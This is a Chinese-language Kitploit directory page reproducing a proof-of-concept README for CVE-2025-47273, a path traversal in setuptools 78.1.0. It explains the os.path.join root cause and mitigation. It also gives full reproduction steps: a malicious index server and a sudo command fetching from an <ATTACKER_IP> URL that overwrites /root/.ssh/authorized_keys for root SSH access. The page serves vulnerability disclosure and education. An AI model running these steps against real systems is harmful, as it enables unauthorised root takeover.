Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-47273-PoC — CVE-2025-47273 是 setuptools 库中的一个高危路径遍历漏洞,具体版本为 78.1.0。 | Kitploit
工具/GitHubGitHub/ahmedreda38/cve-2025-47273-poc
权限提升漏洞分析代码分析漏洞利用供应链安全学习与教育
GitHubahmedreda38/cve-2025-47273-poc

CVE-2025-47273-PoC

CVE-2025-47273 是 setuptools 库中的一个高危路径遍历漏洞,具体版本为 78.1.0。

查看仓库
135个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-47273: setuptools 78.1.0 版本 - setuptools.package_index 中的路径遍历漏洞

免责声明

此概念验证(PoC)仅供教育目的和授权安全审计使用。作者不对本信息的滥用承担任何责任。未经授权访问计算机系统是非法的且不道德。


漏洞分析

CVE-2025-47273 是在 setuptools 库(v78.1.0 及更早版本)的 package_index 模块中发现的一个路径遍历漏洞。该漏洞允许攻击者通过向 PackageIndex.download() 方法提供特制 URL 来执行任意文件写入。

根本原因:os.path.join() 的行为

该缺陷源于 Python 的 os.path.join() 函数的一个常见陷阱。根据 Python 文档:

如果某个组件是绝对路径,则之前的所有组件都会被丢弃,并从该绝对路径组件继续拼接。

在易受攻击版本的 setuptools 中,目标文件名通过从 URL 中提取名称并与临时目录拼接来确定:

root@kitploit:~
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)

如果攻击者提供的 URL 中文件名部分(URL 解码后)以斜杠 / 开头,则 os.path.join 会丢弃 tmpdir 前缀,并返回 URL 中提供的绝对路径。

漏洞流程示意图

root@kitploit:~
[ 攻击者控制的 URL ]
http://attacker.local/%2fetc%2fpasswd
          |
          | 1. URL 解码
          v
[ 解码后的文件名 (name) ]
"/etc/passwd"
          |
          | 2. 易受攻击的函数调用
          v
os.path.join("/tmp/download_dir", "/etc/passwd")
          |
          | 3. Python os.path.join 逻辑
          v
[ 结果路径 (filename) ]
"/etc/passwd"  <-- /tmp/download_dir 被丢弃!

技术影响

由于目标路径可以被操控为绝对路径,攻击者可以向文件系统上进程具有写入权限的任何位置写入任意内容。

高影响场景:

  1. 权限提升: 如果使用 setuptools 的进程以提升的权限运行(例如系统级安装程序),攻击者可以覆盖关键系统文件,如 /etc/passwd、/root/.ssh/authorized_keys 或 /etc/shadow,以及其他许多可能性...
  2. 持久化/远程代码执行: 覆盖用户级配置文件,如 ~/.bashrc、~/.ssh/authorized_keys,或将代码注入现有的 Python 库,可导致持久的远程代码执行。

复现(覆盖 /root/.ssh/authorized_keys )

环境设置

该漏洞存在于 setuptools 版本 78.1.0 中。

root@kitploit:~
pip install setuptools==78.1.0

1. 在 PoC 目录中生成 SSH 密钥对

root@kitploit:~
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""

1. 启动恶意服务器(攻击者机器)

server.py 脚本充当恶意包索引。无论请求的路径如何,它都会提供一个 payload 文件,而我们提供的文件是 id_rsa.pub。

root@kitploit:~
python3 server.py 80

2. 运行漏洞利用(目标机器)

使用此命令触发文件写入,然后您可以使用预先生成的 SSH 密钥对以 root 身份 SSH 登录

root@kitploit:~
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'

3. 最后使用步骤1创建的私钥以 root 身份 SSH 登录目标机器

root@kitploit:~
ssh -i id_rsa root@<target-ip>

缓解措施

该漏洞已在 setuptools 版本 78.1.1 中得到修复。修复措施包括严格清理从 URL 派生出的 name 变量,确保在将其传递给 os.path.join() 之前不包含前导斜杠或驱动器号。

为了保护您的环境:

root@kitploit:~
pip install --upgrade setuptools

参考

  • setuptools Issue #4946
  • NVD - CVE-2025-47273
  • Huntr Bounty Report
下载工具